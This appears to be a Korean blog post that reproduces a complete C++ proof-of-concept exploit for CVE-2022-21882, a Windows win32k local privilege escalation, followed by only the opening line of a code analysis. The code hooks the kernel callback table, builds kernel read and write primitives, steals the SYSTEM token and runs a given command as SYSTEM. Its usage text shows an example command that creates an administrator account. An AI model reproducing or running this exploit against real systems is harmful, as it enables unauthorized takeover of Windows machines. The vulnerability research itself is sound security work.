CVE 2022 21882
CVE-2022-21882 win32k LPE bypass CVE-2021-1732 only tested on windows 20h2 19042.1415 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 // ExploitTest.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include <windows.h> #include <stdio.h> #include<time.h> typedef void*(NTAPI *lHMValidateHandle)(HANDLE h, int type); typedef DWORD64(NTAPI *fnxxxClientAllocWindowClassExtraBytes)(DWORD64 *a1); typedef DWORD64(NTAPI *fnxxxClientFreeWindowClassExtraBytes)(DWORD64 *a1); typedef DWORD64(NTAPI *fnNtUserConsoleControl)(int nConsoleCommand, HWND *pHwnd, int nConsoleInformationLength); typedef DWORD64(NTAPI *fnNtCallbackReturn)(DWORD64 *a1, DWORD64 a2, DWORD64 a3); extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii); typedef DWORD64 QWORD; #define _BYTE uint8 #define _WORD uint16 #define _DWORD uint32 #define _QWORD uint64 lHMValidateHandle g_pfnHmValidateHandle = NULL; fnxxxClientAllocWindowClassExtraBytes g_oldxxxClientAllocWindowClassExtraBytes = NULL; fnxxxClientFreeWindowClassExtraBytes g_oldxxxClientFreeWindowClassExtraBytes = NULL; QWORD g_nRandom = 0; QWORD g_qwExpLoit = 0; QWORD ref_g_pMem5 = 0; HWND g_hWndMax = 0; QWORD g_qwrpdesk = 0; bool g_bIsInit = 0; DWORD g_pmbi_rcBar_left = 0; DWORD g_offset_0x1 = 0; QWORD g_qwMinBaseAddress = 0; QWORD g_qwRegionSize = 0; DWORD kernel_desktop_heap_base_offset_Min = 0; fnNtUserConsoleControl g_pfnNtUserConsoleControl = nullptr; fnNtCallbackReturn g_pfnNtCallbackReturn = nullptr; BOOL FindHMValidateHandle() { HMODULE hUser32 = LoadLibraryA("user32.dll"); if (hUser32 == NULL) { printf("Failed to load user32"); return FALSE; } BYTE* pIsMenu = (BYTE *)GetProcAddress(hUser32, "IsMenu"); if (pIsMenu == NULL) { printf("Failed to find location of exported function 'IsMenu' within user32.dll\n"); return FALSE; } // 접근 권한 예외를 일으키지 않고 // .text 섹션 내에서 E8 명령을 찾을 수 있는 범위 0x1000 unsigned int uiHMValidateHandleOffset = 0; for (unsigned int i = 0; i < 0x1000; i++) { BYTE* test = pIsMenu + i; if (*test == 0xE8) { uiHMValidateHandleOffset = i + 1; break; } } if (uiHMValidateHandleOffset == 0) { printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n"); return FALSE; } unsigned int addr = *(unsigned int *)(pIsMenu + uiHMValidateHandleOffset); unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr; //The +11 is to skip the padding bytes as on Windows 10 these aren't nops g_pfnHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11); return TRUE; } HWND GuessHwnd(QWORD *pBaseAddress, DWORD dwRegionSize) { QWORD qwBaseAddressBak = *pBaseAddress; QWORD qwBaseAddress = *pBaseAddress; DWORD dwRegionSizeBak = dwRegionSize; HWND hwndMagicWindow = nullptr; do { while (*(WORD*)qwBaseAddress != g_nRandom&dwRegionSize > 0) { qwBaseAddress += 2; dwRegionSize--; } if (*(DWORD*)((DWORD*)qwBaseAddress + (0x18 >> 2) - (0xc8 >> 2)) != 0x8000000) { qwBaseAddress = qwBaseAddress + 4; QWORD qwSub = qwBaseAddressBak - qwBaseAddress; dwRegionSize = dwRegionSizeBak + qwSub; } hwndMagicWindow = (HWND)*(DWORD*)(qwBaseAddress - 0xc8); if (hwndMagicWindow) break; } while (true); return hwndMagicWindow; } HWND g_hWndMagic = 0; DWORD64 g_newxxxClientFreeWindowClassExtraBytes(DWORD64 *a1) { DWORD64 dwTemp = *a1; //__debugbreak(); printf("Free ExtraBytes:%p\n", *(DWORD64*)(dwTemp + 0xc8)); if (dwTemp == g_nRandom) return 1; g_oldxxxClientAllocWindowClassExtraBytes(a1); } DWORD64 g_newxxxClientAllocWindowClassExtraBytes(DWORD64 *a1) { DWORD64 dwTemp = *a1; if (dwTemp == g_nRandom) { g_pfnNtUserConsoleControl(6, &g_hWndMagic, 0x10); //kernel_desktop_heap_base_offset_Min QWORD qwRet = kernel_desktop_heap_base_offset_Min; //0x1122334455667788; printf("set ExtraData == %p\n", kernel_desktop_heap_base_offset_Min); g_pfnNtCallbackReturn(&qwRet, 24, 0); } return g_oldxxxClientAllocWindowClassExtraBytes(a1); } LRESULT __fastcall MyWndProc(HWND a1, UINT a2, WPARAM a3, LPARAM a4) { if (a2 != 2) return DefWindowProcW(a1, a2, a3, a4); PostQuitMessage(0); return 0; } QWORD MyRead64(QWORD qwDestAddr) { MENUBARINFO pmbi = {}; pmbi.cbSize = sizeof(MENUBARINFO); if (g_bIsInit) { } else { QWORD *pTemp = (QWORD*)LocalAlloc(0x40u, 0x200); memset(pTemp, 0, 0x200); QWORD qwBase = 0x000000400000000; QWORD qwAdd = 0x0000000800000008; for (int i = 0; i < 0x40; i++) { *(pTemp + i) = qwBase + qwAdd*i; } *(QWORD *)ref_g_pMem5 = (QWORD)pTemp; GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi); g_pmbi_rcBar_left = pmbi.rcBar.left; bool g_bIsInit = 1; } *(QWORD *)ref_g_pMem5 = qwDestAddr - g_pmbi_rcBar_left; GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi); return (unsigned int)pmbi.rcBar.left + ((QWORD)pmbi.rcBar.top << 32); } int _tmain(int argc, _TCHAR* argv[]) { // 인자 체크크 if (argc != 2) { printf("Usage: %S command\nExample: %S \"net user admin admin /ad & net user localgroup administrators admin /ad\"\n\n!", argv[0], argv[0]); return -1; } // user32.dll 에서 IsMenu 함수가 있는지 찾은 다음 IsMenu 함수가 있다면 E8 명령을 찾음 // if (!FindHMValidateHandle()) { printf("[!] Failed to locate HmValidateHandle, exiting\n"); return 1; } g_pfnNtUserConsoleControl = (fnNtUserConsoleControl)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserConsoleControl"); g_pfnNtCallbackReturn = (fnNtCallbackReturn)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCallbackReturn"); //hook xxxClientAllocWindowClassExtraBytes //获取 KernelCallbackTable gs段寄存器 0x60位置为PEB // PEB 偏移0x58位置为KernelCallbackTable DWORD64 KernelCallbackTable = *(DWORD64*)(__readgsqword(0x60u) + 0x58); // 0x3d8位置为函数 user32!_xxxClientAllocWindowClassExtraBytes: g_oldxxxClientAllocWindowClassExtraBytes = (fnxxxClientAllocWindowClassExtraBytes)*(DWORD64*)(KernelCallbackTable + 0x3D8);// 0x3d8位置为函数 g_oldxxxClientFreeWindowClassExtraBytes == (fnxxxClientFreeWindowClassExtraBytes)*(DWORD64*)(KernelCallbackTable + 0x3E0);// 0x3d8位置为函数 DWORD dwOldProtect; srand(time(0)); g_nRandom = (rand() % 255 + 0x1234) | 1; WNDCLASSEXW wndClass = {}; wndClass.lpfnWndProc = (WNDPROC)MyWndProc; wndClass.cbSize = 80; wndClass.style = 3; wndClass.cbClsExtra = 0; wndClass.cbWndExtra = 32; wndClass.hInstance = GetModuleHandleW(0); wndClass.lpszClassName = L"normalClass"; ATOM g_lpWcxNormal = RegisterClassExW(&wndClass); //g_nRandom wndClass.cbWndExtra = g_nRandom; wndClass.lpszClassName = L"magicClass"; ATOM g_lpWcxMagic = RegisterClassExW(&wndClass); QWORD offset_0x2c = 0x2C; QWORD offset_0x28 = 0x28; QWORD offset_0x40 = 0x40; QWORD offset_0x44 = 0x44; QWORD offset_0x58 = 0x58; QWORD offset_0x128 = 0x128; QWORD offset_0xc8 = 0xc8; QWORD offset_0x18 = 0x18; QWORD offset_0x10 = 0x10; QWORD offset_0x220 = 0x220; QWORD offset_0x80 = 0x80; QWORD offset_0x98 = 0x98; QWORD offset_0x50 = 0x50; QWORD offset_0xe0 = 0xe0; QWORD offset_ActiveProcessLinks = 0x448; QWORD offset_InheritedFromUniqueProcessId = 0x540; QWORD offset_Token = 0x4b8; QWORD offset_UniqueProcessId = 0x440; CreatePopupMenu(); QWORD g_pMem1 = (QWORD)LocalAlloc(0x40u, 0x200); QWORD g_pMem2 = (QWORD)LocalAlloc(0x40u, 0x30); QWORD g_pMem3 = (QWORD)LocalAlloc(0x40u, 4); QWORD g_pMem4 = (LONG_PTR)LocalAlloc(0x40u, 0xA0); HLOCAL g_pMem5 = LocalAlloc(0x40u, 8); DWORD *ref_g_pMem1 = (DWORD *)g_pMem1; QWORD ref_g_pMem2 = g_pMem2; QWORD ref_g_pMem3 = g_pMem3; QWORD ref_g_pMem4 = g_pMem4; ref_g_pMem5 = (QWORD)g_pMem5; *(DWORD *)(g_pMem2 + offset_0x2c) = 16; *ref_g_pMem1 = 0x88888888; *(QWORD *)&ref_g_pMem1[2 * ((unsigned int)offset_0x28 >> 3)] = ref_g_pMem2; ref_g_pMem1[( QWORD)(unsigned int)offset_0x40 >> 2] = 1; ref_g_pMem1[( QWORD)(unsigned int)offset_0x44 >> 2] = 1; *(QWORD *)&ref_g_pMem1[2 * (( QWORD)(unsigned int)offset_0x58 >> 3)] = (QWORD)g_pMem5; *(QWORD *)(ref_g_pMem3 + 8) = 16; *(QWORD *)ref_g_pMem3 = (QWORD)ref_g_pMem1; *(QWORD *)(ref_g_pMem4 +offset_0x98) = ref_g_pMem3; printf("CreateWnd\r\n"); struct _MEMORY_BASIC_INFORMATION Buffer = {}; Buffer.BaseAddress = 0; Buffer.AllocationBase = 0; *(QWORD *)&Buffer.AllocationProtect = 0; Buffer.RegionSize = 0; *(QWORD *)&Buffer.State = 0; *(QWORD *)&Buffer.Type = 0; QWORD nIndex = 0; QWORD nLoop = 10; QWORD kernel_desktop_heap_base_offset1 = 0; QWORD kernel_desktop_heap_base_offset2 = 0; QWORD arrEntryDesktop[10] = {}; HWND arrhwndNoraml[10] = {}; do { HWND hwndNormal = CreateWindowExW( WS_EX_NOACTIVATE, L"normalClass", L"somewnd", WS_EX_NOACTIVATE, 0, 0, 0, 0, 0, CreateMenu(), GetModuleHandleW(0) , 0); arrhwndNoraml[nIndex] = hwndNormal; QWORD qwfirstEntryDesktop = (QWORD)g_pfnHmValidateHandle(hwndNormal, 1); arrEntryDesktop[nIndex] = qwfirstEntryDesktop; printf("Hwnd:%08x qwfirstEntryDesktop=%p\r\n", hwndNormal, qwfirstEntryDesktop); VirtualQuery((LPVOID)qwfirstEntryDesktop, &Buffer, 0x30); printf("BaseAddress:%p RegionSize=:%p\r\n", Buffer.BaseAddress, Buffer.RegionSize); if (g_qwMinBaseAddress == 0) { g_qwMinBaseAddress = (QWORD)Buffer.BaseAddress; g_qwRegionSize = (QWORD)Buffer.RegionSize; } else { if (g_qwMinBaseAddress<(QWORD)Buffer.BaseAddress) { } else { g_qwMinBaseAddress = (QWORD)Buffer.BaseAddress; g_qwRegionSize = (QWORD)Buffer.RegionSize; } } //保存最小的 ++nIndex; --nLoop; } while (nLoop); printf("Min BaseAddress:%p RegionSize=:%p\r\n", g_qwMinBaseAddress, g_qwRegionSize); kernel_desktop_heap_base_offset1 = *(DWORD *)((char *)arrEntryDesktop[0] + 8); kernel_desktop_heap_base_offset2 = *(DWORD *)((char *)arrEntryDesktop[1] + 8); HWND hWndMin = *(HWND *)((char *)arrhwndNoraml + (kernel_desktop_heap_base_offset2 < kernel_desktop_heap_base_offset1 ? 8 : 0)); int nTemp = 0; if (kernel_desktop_heap_base_offset1 <= kernel_desktop_heap_base_offset2) nTemp = 1; g_hWndMax = arrhwndNoraml[nTemp]; QWORD firstEntryDesktop_Max = arrEntryDesktop[nTemp]; firstEntryDesktop_Max = arrEntryDesktop[nTemp]; QWORD firstEntryDesktop_Min = *(QWORD *)((char *)arrEntryDesktop + (kernel_desktop_heap_base_offset2 < kernel_desktop_heap_base_offset1 ? 8 : 0)); kernel_desktop_heap_base_offset_Min = *(DWORD *)(firstEntryDesktop_Min + 8); DWORD kernel_desktop_heap_base_offset_Max = *(DWORD *)((char *)firstEntryDesktop_Max + 8); for (int i = 2; i < 10; ++i) DestroyWindow(arrhwndNoraml[i]); g_pfnNtUserConsoleControl(6, &hWndMin, 0x10); DWORD tagWndMin_offset_0x128 = *(DWORD *)(firstEntryDesktop_Min + offset_0x128); DWORD tagWndMax_offset_0x128 = *(QWORD *)(firstEntryDesktop_Max + offset_0x128); g_hWndMagic = CreateWindowExW( 0x8000000u, (LPCWSTR)g_lpWcxMagic, L"somewnd", 0x8000000u, 0, 0, 0, 0, 0, CreateMenu() , GetModuleHandleW(0) , 0); printf("realMagicHwnd=%p\n", g_hWndMagic); VirtualProtect((LPVOID)(KernelCallbackTable + 0x3D8), 0x300, 0x40u, &dwOldProtect); *(DWORD64*)(KernelCallbackTable + 0x3D8) = (DWORD64)g_newxxxClientAllocWindowClassExtraBytes; *(DWORD64*)(KernelCallbackTable + 0x3E0) = (DWORD64)g_newxxxClientFreeWindowClassExtraBytes; VirtualProtect((LPVOID)(KernelCallbackTable + 0x3D8), 0x300, dwOldProtect, &dwOldProtect); NtUserMessageCall(g_hWndMagic, WM_CREATE, 0, 0, 0, 0xE0, 0); DWORD dwRet = SetWindowLongW(g_hWndMagic, offset_0x128+0x10, kernel_desktop_heap_base_offset_Min); printf("dwRet=%p\r\n", dwRet); printf("tagWndMin_offset_0x128=%p\r\n", tagWndMin_offset_0x128); SetWindowLongW(g_hWndMagic, offset_0xc8+0x10, 0xFFFFFFF); g_qwrpdesk = *(QWORD *)(firstEntryDesktop_Max + offset_0x18); SetWindowLongPtrA(hWndMin, offset_0x18 + kernel_desktop_heap_base_offset_Max - kernel_desktop_heap_base_offset_Min, g_qwrpdesk ^ 0x4000000000000000); g_qwExpLoit = SetWindowLongPtrA(g_hWndMax, -12, g_pMem4); printf("g_qwExpLoit=%p\r\n", g_qwExpLoit); QWORD qwOffset = kernel_desktop_heap_base_offset_Max - kernel_desktop_heap_base_offset_Min; QWORD qwNewLong = g_qwExpLoit; SetWindowLongPtrA(hWndMin, offset_0x18 + kernel_desktop_heap_base_offset_Max - kernel_desktop_heap_base_offset_Min, g_qwrpdesk ); QWORD qwFrist = MyRead64(g_qwExpLoit + offset_0x50); printf("qwFrist read=%p\r\n", qwFrist); QWORD qwSecond = MyRead64(qwFrist + offset_0x18); printf("qwSecond read=%p\r\n", qwSecond); QWORD qwThird = MyRead64(qwSecond + offset_0x80); printf("qwSecond read=%p\r\n", qwThird); QWORD qwFourth = MyRead64(qwFrist + offset_0x10); printf("qwFourth read=%p\r\n", qwFourth); QWORD qwFifth = MyRead64(qwFourth); printf("qwFifth read=%p\r\n", qwFifth); QWORD qwEprocess = MyRead64(qwFifth + offset_0x220); printf("qwSixth read=%p\r\n", qwEprocess); QWORD qwEprocessBak = qwEprocess; DWORD dwPidSelf = GetCurrentProcessId(); QWORD dwSystemToken = 0; QWORD dwMyToken = 0; QWORD qwMyTokenAddr = 0; while (!dwSystemToken || !qwMyTokenAddr) { DWORD dwPidRead = MyRead64(qwEprocess + (unsigned int)offset_UniqueProcessId); if (dwPidRead == 4) dwSystemToken = MyRead64(qwEprocess + (unsigned int)offset_Token); if (dwPidRead == dwPidSelf) qwMyTokenAddr = qwEprocess + (unsigned int)offset_Token; qwEprocess = MyRead64(qwEprocess + (unsigned int)offset_ActiveProcessLinks)- (unsigned int)offset_ActiveProcessLinks; if (qwEprocessBak==qwEprocess) { break; } } //write64 SetWindowLongPtrA(hWndMin, kernel_desktop_heap_base_offset_Max + offset_0x128 - kernel_desktop_heap_base_offset_Min, qwMyTokenAddr); SetWindowLongPtrA(g_hWndMax, 0, dwSystemToken); SECURITY_ATTRIBUTES sa; HANDLE hRead, hWrite; byte buf[40960] = { 0 }; STARTUPINFOW si; PROCESS_INFORMATION pi; DWORD bytesRead; RtlSecureZeroMemory(&si, sizeof(si)); RtlSecureZeroMemory(&pi, sizeof(pi)); RtlSecureZeroMemory(&sa, sizeof(sa)); int br = 0; sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = TRUE; if (!CreatePipe(&hRead, &hWrite, &sa, 0)) { return -3; } wprintf(L"[*] Trying to execute %s as SYSTEM\n", argv[1]); si.cb = sizeof(STARTUPINFO); GetStartupInfoW(&si); si.hStdError = hWrite; si.hStdOutput = hWrite; si.wShowWindow = SW_HIDE; si.lpDesktop = L"WinSta0\\Default"; si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; wchar_t cmd[4096] = { 0 }; lstrcpyW(cmd, argv[1]); if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) { CloseHandle(hWrite); CloseHandle(hRead); printf("[!] CreateProcessW Failed![%lx]\n", GetLastError()); return -2; } CloseHandle(hWrite); printf("[+] ProcessCreated with pid %d!\n", pi.dwProcessId); while (1) { if (!ReadFile(hRead, buf + br, 4000, &bytesRead, NULL)) break; br += bytesRead; } puts("==============================="); puts((char*)buf); fflush(stdout); fflush(stderr); CloseHandle(hRead); CloseHandle(pi.hProcess); QWORD tagWndMagic = (QWORD)g_pfnHmValidateHandle(g_hWndMagic, 1); int nSizeofPointer = 8; QWORD qwcbwndExtra = *(QWORD *)(tagWndMagic + offset_0xe0) ^ 0x80000000000; SetWindowLongPtrA(hWndMin, offset_0x128 + kernel_desktop_heap_base_offset_Max - kernel_desktop_heap_base_offset_Min, qwThird + *(unsigned int *)(nSizeofPointer + tagWndMagic) + offset_0x128); SetWindowLongPtrA(g_hWndMax, 0, 0); SetWindowLongPtrA(hWndMin, offset_0x128 + kernel_desktop_heap_base_offset_Max - kernel_desktop_heap_base_offset_Min, qwThird + *(unsigned int *)(nSizeofPointer + tagWndMagic) + offset_0xe0); SetWindowLongPtrA(g_hWndMax, 0, qwcbwndExtra); SetWindowLongPtrA(hWndMin, offset_0x18 + kernel_desktop_heap_base_offset_Max - kernel_desktop_heap_base_offset_Min, g_qwrpdesk ^ 0x4000000000000000); SetWindowLongPtrA(g_hWndMax, -12, qwNewLong); SetWindowLongPtrA(hWndMin, offset_0x18 + kernel_desktop_heap_base_offset_Max - kernel_desktop_heap_base_offset_Min, g_qwrpdesk ); SetWindowLongPtrA(hWndMin, offset_0x128 + kernel_desktop_heap_base_offset_Max - kernel_desktop_heap_base_offset_Min, tagWndMax_offset_0x128); SetWindowLongPtrA(hWndMin, offset_0x128, tagWndMin_offset_0x128); return 0; } 2. 코드 분석 FindHMValidateHandle() 함수에서 user32.dll 을 호출하고 그 안에서 IsMenu 함수를 찾는다. ...